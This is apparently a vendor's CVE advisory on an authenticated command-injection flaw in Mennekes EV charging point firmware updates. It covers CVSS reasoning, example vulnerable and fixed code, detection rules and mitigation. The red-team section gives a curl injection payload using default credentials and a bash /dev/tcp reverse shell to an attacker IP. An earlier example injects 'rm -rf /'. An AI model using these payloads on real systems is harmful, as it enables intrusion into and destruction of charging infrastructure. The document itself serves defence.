CVE-2025-22366
Executive Summary
CVE-2025-22366 exposes a critical OS command injection vulnerability in the authenticated firmware update mechanism of Mennekes Smart and Premium charging points. An attacker with valid credentials can craft a malicious firmware update payload that, when processed by the device, executes arbitrary operating system commands due to improper neutralization of special elements used in OS commands (CWE-78). This flaw allows for full compromise of the charging station, potentially enabling lateral movement within the EV charging infrastructure, data exfiltration, or disruption of charging services. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded systems manufactured by Mennekes.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The firmware update is performed over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Authentication is required to initiate the firmware update.
- User Interaction (UI): None – No user interaction is needed beyond the authenticated session.
- Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
- Confidentiality (C): High – Full system compromise allows reading of all data.
- Integrity (I): High – Full system compromise allows modification of all data.
- Availability (A): High – Full system compromise allows denial of service.
Threat Level: Critical. The ability to execute arbitrary commands on a network-connected industrial control device poses a severe risk to operational technology (OT) environments.
Deep Dive & Mechanics
The vulnerability resides in the firmware update handler of Mennekes Smart and Premium charging points. The device accepts a firmware image via an authenticated web interface or API. The update process likely involves parsing metadata fields (e.g., version number, device model, checksum) from the uploaded file or request parameters. These fields are then passed to the underlying operating system (e.g., Linux shell) to perform actions such as extracting the archive, verifying signatures, or writing to flash memory.
The flaw is that the application does not properly sanitize or escape these fields before incorporating them into OS commands. For example, a field like firmware_version might be used in a command such as:
unzip /tmp/update_$firmware_version.zip -d /firmware/
If an attacker provides a value like 1.0; rm -rf /, the command becomes:
unzip /tmp/update_1.0; rm -rf /.zip -d /firmware/
This results in the execution of rm -rf / after the unzip command, leading to a denial of service or worse.
The attack surface is limited to authenticated users, but default credentials or weak passwords could allow exploitation. The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical vulnerable code snippet and its patched version are provided.
Vulnerable Code (Python-like pseudocode):
import subprocess
import os
def handle_firmware_update(file_path, version):
# Vulnerable: version is directly concatenated into the command
cmd = f"unzip {file_path} -d /firmware/update_{version}"
subprocess.call(cmd, shell=True)
Patched Code:
import subprocess
import shlex
def handle_firmware_update(file_path, version):
# Patched: Use shlex.quote() to escape shell metacharacters
safe_version = shlex.quote(version)
cmd = f"unzip {file_path} -d /firmware/update_{safe_version}"
subprocess.call(cmd, shell=True)
The patched version uses shlex.quote() to ensure that any special characters in the version string are escaped, preventing command injection. Additionally, using subprocess.run() with a list of arguments (instead of shell=True) would be a more robust defense.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Network access to the Mennekes charging point.
- Valid credentials (e.g., admin/admin or obtained via brute-force/phishing).
Exploitation Steps:
- Reconnaissance: Identify the firmware update endpoint (e.g.,
/cgi-bin/update.cgior/api/firmware/update). - Craft Payload: Create a malicious firmware update request. For example, using
curl:curl -X POST -u admin:admin \ -F "file=@malicious_firmware.bin" \ -F "version=1.0; id; whoami; uname -a" \ http://<target_ip>/cgi-bin/update.cgi - Execute: Send the request. The injected commands (
id,whoami,uname -a) will be executed on the device. - Establish Persistence: Use the command injection to drop a reverse shell or add an SSH key.
Example Reverse Shell Payload:
version=1.0; bash -c 'exec bash -i &>/dev/tcp/<attacker_ip>/4444 <&1'
Blue Team
Detection:
- Monitor for unusual HTTP POST requests to firmware update endpoints.
- Look for shell metacharacters (
;,|,&,$,`) in request parameters. - Analyze network traffic for outbound connections from charging points to unknown IPs on unusual ports.
Hunting:
- Search logs for commands like
id,whoami,uname,wget,curl, orbashoriginating from the firmware update process. - Check for unexpected processes or files in
/tmp/or/firmware/.
Mitigation:
- Restrict network access to the charging point's management interface to trusted IPs only.
- Enforce strong, unique passwords and multi-factor authentication.
- Monitor vendor advisories for a patch and apply it immediately.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/update.cgior similar endpoints with shell metacharacters in parameters. - Outbound connections from the charging point to IPs on ports 4444, 8080, or 1337 (common reverse shell ports).
- Unusual DNS queries or HTTP requests to domains associated with C2 infrastructure.
- HTTP POST requests to
Host IOCs:
- Unexpected files in
/tmp/or/firmware/directories. - Processes running as
rootwith names likebash,sh,nc, orpython. - Modified system binaries or configuration files.
- Presence of SSH authorized_keys for unknown users.
- Unexpected files in
Log IOCs:
- Log entries containing shell commands (e.g.,
id,whoami,uname) in the firmware update logs. - Failed login attempts followed by successful exploitation.
- Log entries containing shell commands (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_22366_Mennekes_Command_Injection {
meta:
description = "Detects command injection attempts targeting Mennekes charging point firmware update"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22366"
strings:
$cmd_inject1 = /version=[^&]*[;&|`$]/
$cmd_inject2 = /firmware_version=[^&]*[;&|`$]/
$cmd_inject3 = /model=[^&]*[;&|`$]/
condition:
any of them
}
Sigma Rule
title: Mennekes Charging Point Firmware Update Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in Mennekes charging point firmware update requests
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-22366
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'version='
- 'firmware_version='
- 'model='
cs-uri-query|re:
- '.*[;&|`$].*'
condition: selection
falsepositives:
- Legitimate firmware updates with special characters in version strings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-22366 Mennekes Charging Point Firmware Update Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/update.cgi";
http_uri;
pcre:"/(version|firmware_version|model)=[^&]*[;&|`$]/Ui";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-22366;
)
Remediation & Mitigation
Immediate Actions:
- Isolate: Place affected Mennekes charging points on a separate VLAN with strict firewall rules. Block all inbound traffic to the management interface from untrusted networks.
- Credential Hardening: Change all default passwords and implement strong password policies. Enable multi-factor authentication if supported.
- Monitor: Deploy the provided detection rules to identify exploitation attempts.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Mennekes that properly sanitizes user input in the firmware update process. Apply the patch as soon as it is released.
- Code Review: If source code is available, review all OS command executions and replace them with safer API calls (e.g., using parameterized functions instead of shell commands).
- Input Validation: Implement strict input validation and sanitization for all fields passed to OS commands. Use allowlists instead of blocklists.
Workaround:
- Disable the firmware update functionality if not required, or restrict it to a dedicated, isolated management station.
Valters IT